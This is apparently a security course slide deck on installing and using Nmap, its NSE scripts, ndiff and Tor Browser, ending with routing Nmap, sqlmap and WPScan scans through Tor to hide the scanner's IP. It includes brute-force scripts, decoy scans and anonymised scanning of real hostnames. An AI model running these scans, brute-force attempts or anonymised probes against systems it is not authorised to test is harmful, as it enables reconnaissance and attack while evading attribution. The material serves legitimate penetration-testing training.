Uploaded by sansonight

Nmap Network Scanning: Installation & Basic Techniques

advertisement
NMAP
Nmap
What is Nmap?
Network MAPper - open-source tool for network
scanning
Nmap is very popular, powerful, free and well
documented utility
Good for IT auditing, asset discovery, security profiling
and penetration testing
www.cybexer.com
2
Nmap
What does NMAP do?
Sends raw IP packets to determine available hosts and
services
Helps to identify security holes
www.cybexer.com
3
Nmap
Brief history of Nmap
✓ September 1997 - 1st release of Nmap
✓ December 1998 - Nmap version 2.00 is publicly
released
✓ July 2007 - Zenmap graphical front-end released
✓ October 2020 - Nmap version 7.90 released
www.cybexer.com
4
Nmap
Full Nmap package contains several additional tools
Zenmap - advanced GUI (Linux, Windows, Mac OS)
Ncat - data transfer, redirection, and debugging tool
Ndiff - scan results comparing utility
Nping - packet generation and response analysis tool
www.cybexer.com
5
Nmap
Build your own Nmap
• download
• compile
• verify
• run
www.cybexer.com
6
Nmap
Download latest release from nmap.org with 'wget'
• cd /opt
• wget https://nmap.org/dist/nmap-7.92.tar.bz2
www.cybexer.com
7
Nmap
To save downloaded file with different filename use
'-O' option
• wget https://nmap.org/dist/nmap-7.92.tar.bz2 -O
/opt/nmap-custom.tar.bz2
www.cybexer.com
8
Nmap
In case if 'wget' is missing on your system, use 'curl'
command to get Nmap source code
• cd /opt
• curl https://nmap.org/dist/nmap-7.92.tar.bz2 -o
nmap-7.92.tar.bz2
www.cybexer.com
9
Nmap
Extract downloaded Nmap archive
• tar -jvxf nmap-7.92.tar.bz2
Keep in mind, that archive will be extracted to current
folder
www.cybexer.com
10
Nmap
Extract archive to different folder
• tar -jvxf nmap-7.92.tar.bz2 -C /tmp/
To make extraction silent, remove 'v' option
www.cybexer.com
11
Nmap
Configure Nmap
• cd nmap-7.92/
• ./configure --help
www.cybexer.com
12
Nmap
Configure Nmap
• ./configure --prefix=/opt/nmap
If '--prefix=<path>' is not defined, then default
installation will be done to '/usr/local' folder
www.cybexer.com
13
Nmap
Configure Nmap
Verify output of './configure' command
If some required options needed, but Nmap is not
compiling with their support, then additional libraries
must be installed (apt-get install libssl1.0-dev)
www.cybexer.com
14
Nmap
Clean up from previous './configure' command
• make clean
www.cybexer.com
15
Nmap
After missing libraries are installed, re-run './configure'
command
• ./configure --prefix=/opt/nmap
www.cybexer.com
16
Nmap
Build Nmap
• make
www.cybexer.com
17
Nmap
Verify, that after 'make' command no errors are
displayed (some warnings may occur)
www.cybexer.com
18
Nmap
If 'make' finishes without errors, proceed with
installation of Nmap
• make install
Root privileges are required during "make install"
phase.
www.cybexer.com
19
Nmap
Check output of 'make install' command
If all went well, you should see the following text
"NMAP SUCCEFFULLY INSTALLED"
www.cybexer.com
20
Nmap
Verify newly installed Nmap
• /opt/nmap/bin/nmap -V
www.cybexer.com
21
Nmap
Since Nmap installed in new/custom location, $PATH
environment should be adjusted
• echo $PATH
www.cybexer.com
22
Nmap
Since Nmap installed in new/custom location, $PATH
environment should be adjusted
• export PATH=/opt/nmap/bin:$PATH
• echo $PATH
www.cybexer.com
23
Nmap
Let's start scanning
www.cybexer.com
24
Nmap
Running Nmap without any arguments will show basic
usage options
• nmap
www.cybexer.com
25
Nmap
Basic scanning with Nmap
Everything on the Nmap command-line that isn't an
option (or option argument) is treated as a target host
specification
Scan single IP address
• nmap 127.0.0.1
www.cybexer.com
26
Nmap
Basic scanning
Scan multiple targets
• nmap 127.0.0.1 10.21.32.5
Note! Change 2nd and 3rd octets to correct ones!
www.cybexer.com
27
Nmap
Basic scanning
Scan targets with CIDR-style addressing
• nmap 10.XX.32.5/24
"/24" CIDR notation will scan 256 hosts starting from
10.XX.32.0 and ending with 10.XX.32.255
www.cybexer.com
28
Nmap
Basic scanning
Scan range of targets
• nmap 10.XX.32.100-105
www.cybexer.com
29
Nmap
Basic scanning
Ranges can be specified for any network octets
• nmap 192.168.113-114,205.100-102,177
This target range will scan following hosts
192.168.113.100, 192.168.113.101, 192.168.113.102,
192.168.113.177, 192.168.114.100, 192.168.114.101,
192.168.114.102, 192.168.114.177, 192.168.205.100,
192.168.205.101, 192.168.205.102 and
192.168.205.177
www.cybexer.com
30
Nmap
Basic scanning
List Scan (-sL) - only shows list of targets without
performing any scans. Ideal to generate host lists
• nmap -sL 192.168.113-114,205.100-102,177
www.cybexer.com
31
Nmap
Basic Scanning
Scan targets specified in the file. Target entries may be
any of the formats accepted by Nmap on command line
(IP address, hostname, CIDR, IPv6 etc)
Each entry must be separated by one or more spaces,
tabs, or newlines
www.cybexer.com
32
Nmap
Basic Scanning
Sample content of the target list file
www.cybexer.com
33
Nmap
Basic Scanning
Scan target list from the file
• nmap -iL hosts.txt
www.cybexer.com
34
Nmap
Basic Scanning
Excluding targets from the scan
• nmap --exclude 10.10.10.11 10.10.10.0/28
Multiple exclude targets are allowed (must be commaseparated)
--exclude 10.10.10.11,editor.cnn.com,10.11.12.90/30
www.cybexer.com
35
Nmap
Basic Scanning
Excluding targets using a list file
• nmap --excludefile excluded.txt 10.10.10.0/24
'excluded.txt' must contain IP address/es, hostname/s
or CIDR's of excluded targets
Each entry must be separated by one or more spaces,
tabs, or newlines
www.cybexer.com
36
Nmap
Basic Scanning
Scan IPv6 targets
• nmap -6 fd03:c01:XX:32::2
To scan IPv6 address, both, source and target hosts
must be configured for IPv6
www.cybexer.com
37
Nmap
Basic Scanning
Scanning of IPv6 targets supports same options as IPv4
targets:
--exclude
--excludefile
www.cybexer.com
38
Nmap
Basic Scanning
Do not run DNS lookups for scanned targets
• nmap -n srv.studentXX.csirt.crp
Since DNS resolving can be slow, using '-n' may speedup scanning time
www.cybexer.com
39
Nmap
Basic Scanning
Use custom DNS servers for DNS resolution
• nmap --dns-servers 10.103.176.2 files.csirt.crp
Note! Check your DNS server IP from /etc/resolv.conf
www.cybexer.com
40
Nmap
Basic Scanning
By default, Nmap scans only first IP address of resolved
hostname. For example, running "nmap cnn.com" will
scan only first resolved IP address - 151.101.65.67
To can all IP addresses, use '-R' option
• nmap -R cnn.com
www.cybexer.com
41
Nmap
Basic Scanning
By default (without any port options), Nmap scans
1000 default ports for each protocol.
To scan specific port, use '-p <port_number>'
• nmap -p 80 files.csirt.crp
www.cybexer.com
42
Nmap
Basic Scanning
Different ports can be comma-separated
• nmap -p 80,443,8080 files.csirt.crp
Or port ranges can be separated with hyphen
• nmap -p 70-100,200-250,1000-1024 files.csirt.crp
www.cybexer.com
43
Nmap
Basic Scanning
Excluding port numbers from scanning
• nmap --exclude-ports 22 files.csirt.crp
Multiple ports and port ranges can be also used
• nmap --exclude-ports 22,70-80,443 files.csirt.crp
www.cybexer.com
44
Nmap
Basic Scanning
To scan all port use '-p-' option
• nmap -p- srv.studentXX.csirt.crp
If you forget the maximum number of ports, then you can
always calculate it using the formula: 216 - 1
www.cybexer.com
45
Nmap
Basic Scanning
Specifying particular protocol for particular port
• nmap -sSU -p U:53,111,161,T:21-25,80,139,8080
srv.studentXX.csirt.crp
This scanning option will scan UDP ports 53, 111,and
161. And TCP ports 21 to 25, 80, 139 and 8080.
www.cybexer.com
46
Nmap
Basic Scanning
By default, Nmap scans ports in random order. If
sequential port scanning is needed (e.g., IDS/IPS or
firewall testing), then '-r' option must be specified
• nmap -r -p 100-200 srv.studentXX.csirt.crp
'-r' option sorts ports from lowest to highest
www.cybexer.com
47
Nmap
Basic Scanning
Scan 'most popular' ports on the targets. Number '10'
stands for number of top ports to be scanned
• nmap --top-ports 10 srv.studentXX.csirt.crp
Nmap uses its own database of port popularity
(/usr/share/nmap/nmap-services).
'--top-ports' option is very useful for initial scans and largescale scans.
'--top-ports' option can be combined with '--exclude-ports'
option
www.cybexer.com
48
Nmap
Basic Scanning
Depends on the scan types and options, sometimes it's
reasonable to run fast scan against the targets
'-F' options scans 100 top ports
• nmap -F srv.studentXX.csirt.crp
www.cybexer.com
49
Nmap
Basic Scanning
During default scanning, Nmap will display open,
filtered and closed ports
If you want to display only 'open' ports, then option '-open' should be used
• nmap -sS -Pn -n --open 10.XX.32.5
www.cybexer.com
50
Nmap
Basic Scanning
Definition of port states
'open' - an application on the target machine is
listening for connections/packets on that port
'filtered' - a firewall, filter, or other network obstacle is
blocking the port so that Nmap cannot tell whether it is
open or closed
'closed' - no application listening on them, though they
could open up at any time
www.cybexer.com
51
Nmap
To detect OS (Operating System) of the target, Nmap
uses TCP/IP stack fingerprinting.
Nmap sends a series of TCP and UDP packets to the
remote host and examines practically every bit in the
responses.
After performing dozens of tests such as TCP ISN
sampling, TCP options support and ordering, IP ID
sampling, and the initial window size check, Nmap
compares the results to its nmap-os-db database of
more than 2600 known OS fingerprints and prints out
the OS details if there is a match.
www.cybexer.com
52
Nmap
Detecting OS (Operating System)
• nmap -O srv.studentXX.csirt.crp
www.cybexer.com
53
Nmap
Aggressive scan
• nmap -A srv.studentXX.csirt.crp
www.cybexer.com
54
Nmap
Aggressive scan gives much more information about
scanned targets and running services, comparing to
default scan, but it is also more time consuming.
Aggressive scan tries to detect OS (-O), versions of
detected services (-sV), script scanning (-sC) and
traceroute information.
Aggressive scan also is more intrusive than default
scan, since Nmap runs more checks of the target.
www.cybexer.com
55
Nmap
By default, without any scanning options, Nmap runs
TCP SYN scan. Parameter '-sS' stands for SYN scan
• nmap -sS 127.0.0.1
Note! Syn scan requires 'root' privileges.
www.cybexer.com
56
Nmap
TCP SYN scan is most preferred scanning technique.
It can be performed quickly, scanning thousands of
ports per second on a fast network not hampered by
restrictive firewalls.
It is also relatively unobtrusive and stealthy since it
never completes TCP connections.
www.cybexer.com
57
Nmap
To perform TCP Connect scan use '-sT' option
• nmap -sT 127.0.0.1
Note! TCP Connect scan can be run as unprivileged user
www.cybexer.com
58
Nmap
By default, Nmap scans for TCP services. To check UDP
services running on targets hosts use '-sU' option
• nmap -sU 127.0.0.1
www.cybexer.com
59
Nmap
Since UDP and TCP are completely different protocols,
be careful when scanning large UDP port ranges.
It's highly preferable to run UDP scans against specific,
most used ports or limit number of UDP ports with '-top-ports 10' option
• nmap -sU --top-ports 10 10.XX.32.5
www.cybexer.com
60
Nmap
Nmap allows to combine scanning of TCP and UDP
ports. Options '-sT' and '-sU' must be used. You can add
any other options described above.
• nmap -sT -sU 127.0.0.1
www.cybexer.com
61
Nmap
For different purposes Nmap allows to set fine-grained
timing controls. Timing options are defined with '-T'
flag followed by numbers from 0 to 5
-T0 - paranoid mode, 1 probe sent every 5 minutes
-T1 - sneaky mode, 15 seconds between each probe
-T2 - polite mode, 0.4 seconds between each probe
www.cybexer.com
62
Nmap
For different purposes Nmap allows to set fine-grained
timing controls. Timing options are defined with '-T' flag
followed by numbers from 0 to 5
-T3 - normal mode, this is default scanning setting. It runs in
parallel mode
-T4 - aggressive mode, runs with smaller timeouts and
retries
-T5 - insane mode, runs even with smaller timeouts and
retries than '-T4' mode
www.cybexer.com
63
Nmap
Nmap allows to combine scanning of TCP and UDP
ports. Options '-sT' and '-sU' must be used. You can add
any other options described above.
• nmap -sS -T1 -p 22 127.0.0.1
www.cybexer.com
64
Nmap
Compare -T1 and -T2 scanning times
• nmap -sS -T2 -p 22 127.0.0.1
www.cybexer.com
65
Nmap
It is important to save Nmap port scanning results.
There're many good reasons to do that
- stay stealthy (avoid scanning many times)
- compare different Nmap scan results
- share with other team members
- import scan results into other tools and applications
www.cybexer.com
66
Nmap
Nmap scan results have 5 different formats
- interactive output (default stdout/screen output)
- normal output, saves interactive output to the file
- XML output, saves Nmap scan results to the file in
XML format
- grepable output, saves Nmap scan results to the file,
which can be searched and parsed with standard
Linux tools such as grep, awk, sed etc.
- script kiddie output, saves Nmap scan results to the
file written in 'hackers' language
www.cybexer.com
67
Nmap
Save Nmap scan results to the file
• nmap -oN output.txt 10.XX.32.5
After scan, 'output.txt' file with scan results will be
created in current folder
www.cybexer.com
68
Nmap
Save Nmap scan results to the file
• nmap -oG outputg.txt 10.XX.32.5
After scan, 'outputg.txt' file with scan results will be
created in current folder
www.cybexer.com
69
Nmap
Save Nmap scan results to the file
• nmap -oX output.xml 10.XX.32.5
After scan, 'output.xml' file with scan results will be
created in current folder. File format is XML
www.cybexer.com
70
Nmap
Save Nmap scan results to the file
• nmap -oS outputs.txt 10.XX.32.5
After scan, 'outputs.txt' file with scan results will be
created in current folder
www.cybexer.com
71
Nmap
Sometimes there's a need to save Nmap scan results in
different formats. Instead of specifying different '-o'
options, it is possible to save output in all formats
(except script kiddies format)
• nmap -oA scan01 10.XX.32.5
www.cybexer.com
72
Nmap
Option '-oA scan01' means, that after Nmap finishes
scanning, 3 different output files with scanning results
will be created and prefix for the files will be 'scan01'.
.gnmap extension is for 'grepable' file format
.nmap extension is for default file format
.xml extension is for XML file format
• ls -la scan01.*
www.cybexer.com
73
Nmap
XML output is one of the most important output types,
as it can be converted to HTML, easily parsed by
programs such as Nmap graphical user interfaces or
imported into databases or applications.
www.cybexer.com
74
Nmap
Let's convert Nmap XML output file to HTML file
We use xsltproc command, which is command line XSLT
processor
• xsltproc scan01.xml -o
/var/www/html/scan01.html
Start Apache web server on your Kali Linux
• service apache2 start
www.cybexer.com
75
Nmap
Open created HTML page in web browser
http://10.XX.32.2/scan01.html
www.cybexer.com
76
Nmap
By default, during scan Nmap is not showing any
progress. During scan, by pressing 'space' or 'enter'
keys you can see progress of the scan
www.cybexer.com
77
Nmap
To display periodically scanning statistics you can use '-stats-every' options followed by number, which defines
interval of status update
• nmap --stats-every 10s 10.XX.32.2/24
www.cybexer.com
78
Nmap
If you need to identify hosts which are online, but without
actual port scanning, then Nmap can be run in 'ping-sweep'
mode
• nmap -sn 10.XX.32.0/24
Older versions of Nmap has option '-sP'
www.cybexer.com
79
Nmap
Depends on the network setup, firewalls may be blocking
ICMP requests. If it happens, then Nmap will not do port
scan if target is not pingable. To disable 'ping scan', but run
port scan on all targets use '-Pn' options
• nmap -Pn 192.168.113.1
This type of scan helps to avoid firewalls, which block ICMP
probes
Older versions of Nmap use '-P0' options, to disable ping
requests
www.cybexer.com
80
Nmap - NSE scripts
Advanced Nmap usage with NSE scripts
NSE - Nmap scripting engine
NSE offers very powerful and flexible features. It allows
users to write (and share) simple scripts using the Lua
programming language.
NSE scripts allow to automate a wide variety of
networking tasks.
www.cybexer.com
81
Nmap - NSE scripts
To get HTTP title page information
• nmap -n -sS --script http-title --open -p 443
edition.cnn.com
www.cybexer.com
82
Nmap - NSE scripts
Nmap scripts default location is in
'/usr/share/nmap/scripts' folder. There're over 600
different scripts
• ls -la /usr/share/nmap/scripts/
www.cybexer.com
83
Nmap - NSE scripts
Let's review 'http-title' NSE script
• less /usr/share/nmap/scripts/http-title.nse
www.cybexer.com
84
Nmap - NSE scripts
When Nmap runs 'http-title' script, it sends HTTP GET
request to the target server.
Target host and port must be defined.
Response from the server is saved to 'resp' variable
www.cybexer.com
85
Nmap - NSE scripts
If HTTP server responds with HTTP redirect status
codes 30X, then HTTP title will be set to "Did not follow
redirect to ...."
• nmap -n -sS --script http-title --open -p 80
edition.cnn.com
www.cybexer.com
86
Nmap - NSE scripts
If HTTP response does not have HTTP Body content,
then script execution will end
www.cybexer.com
87
Nmap - NSE scripts
If HTTP response does have HTTP Body content, scripts
will be searching for HTML tag '<title>'.
Since '<title>' tag can be written in different cases
(Title, TITLE, tITLE etc.), then Regular Expression is used
If HTTP body matches regular expression, then
everything between '<title>' and '</title>' tags is saved
to variable 'title'
www.cybexer.com
88
Nmap - NSE scripts
If HTML title variable length is over 65 characters, then
rest of 'Title' value is removed and '...' appended
www.cybexer.com
89
Nmap - NSE scripts
Once 'http-title' script finishes its execution, HTTP 'title'
will be returned to Nmap's output (shown in Nmap
scan results)
www.cybexer.com
90
Nmap - NSE scripts
HTTP protocol is one of the most popular protocols in
use today. Nmap has large number of NSE scripts,
which allows to do complex scanning of web servers.
www.cybexer.com
91
Nmap - NSE scripts
Scanning for supported HTTP methods
• nmap -p80 --script http-methods 10.XX.32.5
www.cybexer.com
92
Nmap - NSE scripts
Discover interesting files and folders in web server
• nmap -p80 --script http-enum 10.XX.32.5
www.cybexer.com
93
Nmap - NSE scripts
Let's try some other NSE scripts
'whois-domain' script will query WHOIS server and
display information about scanned domain
• nmap --script whois-domain cnn.com
www.cybexer.com
94
Nmap - NSE scripts
Let's try some other NSE scripts
'smb-enum-shares' script will attempt to list remote
shares on target server.
For many NSE scripts it is advised to narrow down scan
to specific ports. In case of remote shares, we will use
port 445
• nmap -sS -Pn -n -p 445 --script smb-enum-shares
10.XX.32.5
www.cybexer.com
95
Nmap - NSE scripts
Result of remote share scan
www.cybexer.com
96
Nmap - NSE scripts
Let's try some other NSE scripts
Nmap allows to combine several NSE scripts
• nmap --script ssl-cert,ssl-enum-ciphers -p 443
edition.cnn.com
www.cybexer.com
97
Nmap - NSE scripts
In this example 'ssl-cert' NSE script will show
information about SSL/TLS certificate of the target - CN,
Issuer, certificate validity period, SAN records and other
certificate information
'ssl-enum-ciphers' will try to enumerate different
SSL/TLS ciphers and output the information
www.cybexer.com
98
Nmap - NSE scripts
Let's try some other NSE scripts
Some NSE scripts allow to brute-force services for
different usernames and/or passwords
• nmap --script vnc-brute -p 5901 10.XX.32.2
To see fill list of brute-force scripts, run following
command in terminal
• ls -al /usr/share/nmap/scripts/*brute*
www.cybexer.com
99
Nmap - NSE scripts
Nmap allows to combine NSE scripts with same prefix.
For example, there're many scripts with 'http-' prefix:
http-google-malware
http-php-version
http-sql-injection
http-wordpress-users
www.cybexer.com
100
Nmap - NSE scripts
To run all HTTP scripts against the target, use 'http-*'
for script option
• nmap -p80 --script "http-*" 10.XX.32.5
Note! Be careful when using many scripts, it will
generate 'A LOT' of traffic, will run much longer and in
some cases, it can do denial of service for the target
www.cybexer.com
101
Nmap - NSE scripts
NSE scripts has different categories. Some scripts
considered as intrusive, where some scripts are pretty safe
to run against the target systems
Run all nonintrusive scripts
• nmap --script "not intrusive" 10.XX.32.5
Run safe scripts
• nmap --script "safe" 10.XX.32.5
You can make very granular combination of NSE scripts
• nmap --script "(default or safe or intrusive) and not
http-*" 10.XX.32.5
www.cybexer.com
102
Nmap - NSE scripts
Nmap allows to run decoy scan against the targets.
Nmap makes it appear to the remote host that the
host(s) you specify as decoys are scanning the target
network too.
It is generally very effective technique for hiding your IP
address.
• nmap -sS -Pn -n D192.168.1.1,192.168.2.2,10.10.10.10 10.XX.32.5
www.cybexer.com
103
Nmap - NSE scripts
Sometimes you have to compare different scan results,
to see what services and/or hosts appeared or
removed between scans
ndiff - utility to compare the results of Nmap scans
Install 'ndiff' tool on Kali linus
• apt-get install ndiff
www.cybexer.com
104
Nmap - NSE scripts
Ndiff application takes two Nmap XML output files and
prints the differences between them.
The differences observed are
· Host states (e.g. up to down)
· Port states (e.g. open to closed)
· Service versions (from -sV)
· OS matches (from -O)
· Script output
www.cybexer.com
105
Nmap - NSE scripts
Let's compare two Nmap scan results
• ndiff scan1.xml scan2.xml
To see more detailed comparison, use '-v' options
• ndiff -v scan1.xml scan2.xml
www.cybexer.com
106
Tor Browser
Tor Browser - installation
Tor Browser – is a web-browser using the Tor network.
It has some extra features to enhance your anonymity
and privacy.
The Tor network itself is designed to hide your original
IP address. It is also encrypting Internet traffic sending
from and to your computer.
www.cybexer.com
108
Tor Browser - installation
All in all, Tor Browser:
• hides your IP
• does not save any account information (logins and
passwords)
• does not save your web history
• has some extra tools to protect you from reveal
www.cybexer.com
109
Tor Browser - installation
Tor Browser is now present in Kali Linux repository, but
we will go through installation procedure step-by-step.
As with most of the software for Linux, there're several
ways how to download and/or install it.
First way is to visit TOR's official site
'https://www.torproject.org' and download needed
version.
www.cybexer.com
110
Tor Browser - installation
Here's the command, that will download latest version of
Tor Browser archive, extract all files from that archive, then
move extracted content to '/root/tor/' folder and finally
remove downloaded Tor Browser archive
• temp="$(curl -s
https://www.torproject.org/download/languages/)"
&& temp2=`echo "${temp}" | grep -E -o '[A-Za-z0-9/_.]+_ALL.tar.xz' | tail -n 1` && wget -O tor-browserlinux64.tar.xz "https://www.torproject.org$temp2" &&
tar xvfJ tor-browser-linux64.tar.xz && rm -f torbrowser-linux64.tar.xz && mv tor-browser*/Browser/
~/tor && rm -rf tor-browser*
www.cybexer.com
111
Tor Browser - installation
Let's take the whole command to pieces and see how it
works and what it does. As you have noticed, there several
places with '&&'
• temp="$(curl -s
https://www.torproject.org/download/languages/)"
&& temp2=`echo "${temp}" | grep -E -o '[A-Za-z0-9/_.]+_en-US.tar.xz' | tail -n 1` && wget -O tor-browserlinux64.tar.xz "https://www.torproject.org$temp2" &&
tar xvfJ tor-browser-linux64.tar.xz && rm -f torbrowser-linux64.tar.xz && mv tor-browser*/Browser/
~/tor && rm -rf tor-browser*
www.cybexer.com
112
Tor Browser - installation
Double ampersand (&) in Linux OS separates different commands. The
command after '&&' is executed only if previous command did not
finish with errors. So, we have following 7 commands
1. temp="$(curl -s
https://www.torproject.org/download/languages/)"
2. temp2=`echo "${temp}" | grep -E -o '[A-Za-z0-9/_.-]+_enUS.tar.xz' | tail -n 1`
3. wget -O tor-browser-linux64.tar.xz
"https://www.torproject.org$temp2"
4. tar xvfJ tor-browser-linux64.tar.xz
5. rm -f tor-browser-linux64.tar.xz
6. mv tor-browser*/Browser/ ~/tor
7. rm -rf tor-browser*
www.cybexer.com
113
Tor Browser - installation
Let's review all commands one by one.
First command will fetch content from
'https://www.torproject.org/download/languages/'
page using 'curl' program and store result in 'temp'
variable
1. temp="$(curl -s
https://www.torproject.org/download/languages/
)"
www.cybexer.com
114
Tor Browser - installation
Second command will print (echo) content of 'temp'
variable from first command, then will search for alphanumeric text ending with '_en-US.tar.xz' and from that
results only last line will be chosen and set to variable
'temp2'
2. temp2=`echo "${temp}" | grep -E -o '[A-Za-z0-9/_.]+_en-US.tar.xz' | tail -n 1`
www.cybexer.com
115
Tor Browser - installation
Before going further, lets run first and seconds
commands and see what will be the result
• temp="$(curl -s
https://www.torproject.org/download/languages/)
" && temp2=`echo "${temp}" | grep -E -o '[A-Za-z09/_.-]+_en-US.tar.xz' | tail -n 1`
Since output of two commands is set to variable
'temp2', we will not see anything in output. To see
value of 'temp2' variable, type following command
• echo $temp2
www.cybexer.com
116
Tor Browser - installation
From 1st and 2nd commands we have variable 'temp2'.
This variable is used in 3rd command, which will
download Tor Browser and save file as 'tor-browserlinux64.tar.xz'
3. wget -O tor-browser-linux64.tar.xz
"https://www.torproject.org$temp2"
www.cybexer.com
117
Tor Browser - installation
After running first 3 commands, in our current folder
we must have downloaded Tor Browser archive. Let's
check the content of current folder
• ls -la
If you have file 'tor-browser-linux64.tar.xz' in current
folder, then execution of first three commands was
successful.
www.cybexer.com
118
Tor Browser - installation
4th command will extract content of downloaded
archive into current folder
4. tar xvfJ tor-browser-linux64.tar.xz
Note. If you want to minimize screen output during
extraction, then remove 'v' option from command.
www.cybexer.com
119
Tor Browser - installation
5th command will remove downloaded Tor Browser
archive from current folder. '-f' option will not prompt
for file deletion
5. rm -f tor-browser-linux64.tar.xz
www.cybexer.com
120
Tor Browser - installation
6th command will move all content Tor Browser folder
to new location 'tor' in user's home folder
6. mv tor-browser*/Browser/ ~/tor
www.cybexer.com
121
Tor Browser - installation
The final, 7th command will clean-up 'leftovers' from Tor
Browser archive extraction
7. rm -rf tor-browser*
www.cybexer.com
122
Tor Browser - usage
Before using the Tor Browser, it is reasonable to verify
installation location and permissions of files and folder
• ls -la ~/tor/
www.cybexer.com
123
Tor Browser - usage
Latest Tor Browser will not run in 'root' user
permissions. We have to do small adjustments to Tor
launcher file "~/tor/start-tor-browser". Comment out
following code:
Result of changes
www.cybexer.com
124
Tor Browser - usage
Since the Tor Browser is a graphical program, it must be
executed from graphical environment.
Open in VNC viewer 10.XX.32.2:5901
Open Kali Linux terminal and execute following
program
• ~/tor/start-tor-browser
www.cybexer.com
125
Tor Browser - usage
If you see following screen, then click on 'Connect'
button to start using the Tor Browser
www.cybexer.com
126
Tor Browser - usage
If you run the Tor Browser for the first time, then
required configuration will be loaded
www.cybexer.com
127
Tor Browser - usage
To verify, that Tor Browser
is working properly, open
'ipleak.net' site.
If you see not your
external IP address, then
Tor Browser is working
properly.
www.cybexer.com
128
Tor Browser - usage
Congratulations!
By using Kali Linux command line, you have
downloaded latest version of the Tor Browser, extracted
the archive, moved to custom location and cleaned up
files and folder after download.
You have successfully installed Tor Browser.
www.cybexer.com
129
Anonymous scanning through Tor
Anonymity is a very complex problem that not be
solved in a single document. Before starting real action,
you must double-check everything in the laboratory
environment.
In this course, we will learn you how hide your real IP
address while scanning by Nmap, sqlmap or WPScan.
We will use Tor to route Nmap, sqlmap or WPScan
traffic.
www.cybexer.com
130
Anonymous scanning through Tor
Let's install 'Tor' in Kali Linux. In terminal window type
in following command
• apt-get -y install torsocks tor
www.cybexer.com
131
Anonymous scanning through Tor
Main 'Tor' configuration file located here
'/etc/tor/torrc'. For proper anonymity we have to add
new 3 configuration options:
AutomapHostsOnResolve - mapping of unused virtual
addresses
DNSPort - port for DNS UDP requests
TransPort - port for transparent proxy connections
www.cybexer.com
132
Anonymous scanning through Tor
Let's append new options to 'Tor' configuration file
• echo 'AutomapHostsOnResolve 1' >> /etc/tor/torrc
• echo 'DNSPort 53530' >> /etc/tor/torrc
• echo 'TransPort 9040' >> /etc/tor/torrc
www.cybexer.com
133
Anonymous scanning through Tor
Verify configuration changes with 'tail' command. Since
we appended new options at the end of file, we can
print only 10 last lines
• tail -n10 /etc/tor/torrc
www.cybexer.com
134
Anonymous scanning through Tor
Now we have to enable 'Tor' process auto-startup
• systemctl enable tor
And finally, let's start main 'Tor' process
• systemctl start tor
www.cybexer.com
135
Anonymous scanning through Tor
After 'Tor' start-up, it is advised to verify, that 'Tor' is
running. Check 'tor' network connections with 'netstat'
command
• netstat -tulpna |grep tor
www.cybexer.com
136
Anonymous scanning through Tor
Or you can check status of Tor with 'systemctl'
command
• systemctl status tor
www.cybexer.com
137
Anonymous scanning through Tor
Now when we have 'Tor' service running we can check
if it works properly with 'ProxyChains-NG' program.
'ProxyChains-NG' is a software, which redirects
connections through socks/http proxies.
The usage is pretty straightforward - add 'proxychains4'
before desired command, to redirect traffic through the
'Tor' network.
www.cybexer.com
138
Anonymous scanning through Tor
Let's check our external IP address
• curl ipinfo.io
www.cybexer.com
139
Anonymous scanning through Tor
Let's install 'proxychains4' from Kali Linux repository
• apt-get -y install proxychains4
www.cybexer.com
140
Anonymous scanning through Tor
Now, let's check our external IP address through 'Tor'
network
• proxychains4 curl ipinfo.io
www.cybexer.com
141
Anonymous scanning through Tor
As you see, 'Proxychains4' generates a lot of exceeded
information. Try the following construction to suppress the
unnecessary output
• proxychains4 curl ipinfo.io 2>/dev/null
Or use '-q' options
• proxychains4 -q curl ipinfo.io
www.cybexer.com
142
Anonymous scanning through Tor
By default, 'Tor' randomly selects entry node,
intermediate node(s) and exit node.
After each 'Tor' service restart new nodes selected.
To limit 'Tor' exit nodes to specific country, add
following line to configuration file
• echo 'ExitNodes {se}, {nl}, {ch}, {fr}' >>
/etc/tor/torrc
And restart 'Tor' service
• service tor restart
www.cybexer.com
143
Anonymous scanning through Tor
Now, check your external IP address again
• proxychains4 curl ipinfo.io 2>/dev/null
You can test more, by restarting 'Tor' service and
running 'proxychain4' command again
www.cybexer.com
144
Anonymous scanning through Tor
There're might be situations, when you want
completely disable some countries from 'Tor' chain.
To do that, use 'ExcludeNodes' option followed by
country codes, which will be excluded
• echo 'ExcludeNodes {ru}, {by}, {cn}, {ua}' >>
/etc/tor/torrc
After all configuration changes, you must restart 'Tor'
service
www.cybexer.com
145
Anonymous scanning through Tor
For scanning with 'Nmap' through 'Tor' network you
have to be very cautious.
If you run 'Syn-Scan' against the target, your real IP
address will be leaked.
Let's see what will happen when we run 'nmap' with 'sS' option.
www.cybexer.com
146
Anonymous scanning through Tor
Open new Kali Linux terminal and start network packet
capture
• tcpdump -n -i eth0 -s0 host 94.154.144.4 and port
443
www.cybexer.com
147
Anonymous scanning through Tor
On machine where we initiate port scanning, we run
'proxychains4' with 'nmap' and set 'syn-scan' option
• proxychains4 nmap -sS -PN -sV --open -n -p 443
94.154.144.4 2>/dev/null
www.cybexer.com
148
Anonymous scanning through Tor
Now, let's check 'tcpdump' output.
We can clearly see, that our attacking machine's IP
address was revealed
www.cybexer.com
149
Anonymous scanning through Tor
Next, we run 'nmap' with 'connect-scan', by using '-sT'
option
• proxychains4 nmap -sT -PN -sV --open -n -p 443
94.154.144.4 2>/dev/null
www.cybexer.com
150
Anonymous scanning through Tor
Running 'nmap' with '-sT' option did not reveal
attacking machine's external IP address.
www.cybexer.com
151
Anonymous scanning through Tor
If you run 'nmap' through 'proxychains4 against the
hostname, not IP address of target, then you might see
an error 'nmap: netutil.cc:1319: int
collect_dnet_interfaces(const intf_entry*, void*):
Assertion `rc == 0' failed.'
• proxychains4 nmap -sT -PN -sV -v -A -T4 -p 80
cnn.com
www.cybexer.com
152
Anonymous scanning through Tor
To fix that problem, there are two options
- scan IP address, but not hostname
- or comment out 'proxy_dns' option in
'/etc/proxychains4.conf' file
• sed -i 's/^proxy_dns/#proxy_dns/g'
/etc/proxychains4.conf
www.cybexer.com
153
Anonymous scanning through Tor
'sqlmap' anonymous scanning through 'Tor' network.
'sqlmap' has the --proxy option, therefore you just
need to append --proxy socks5://127.0.0.1:9050 to
you command
• sqlmap -u TARGET --proxy socks5://127.0.0.1:9050
www.cybexer.com
154
Anonymous scanning through Tor
'WPScan' anonymous scanning through Tor network.
WPScan has the similar --proxy flag, so just append -proxy socks5://127.0.0.1:9050 to your normal
command
• wpscan -u TARGET -e p,vt,u --proxy
socks5://127.0.0.1:9050
Note. If you have significant delays in scanning, it's
recommended to use --request-timeout 500 --connecttimeout 120 options
www.cybexer.com
155
DIRB, NIKTO, GOBUSTER
DIRB - overview
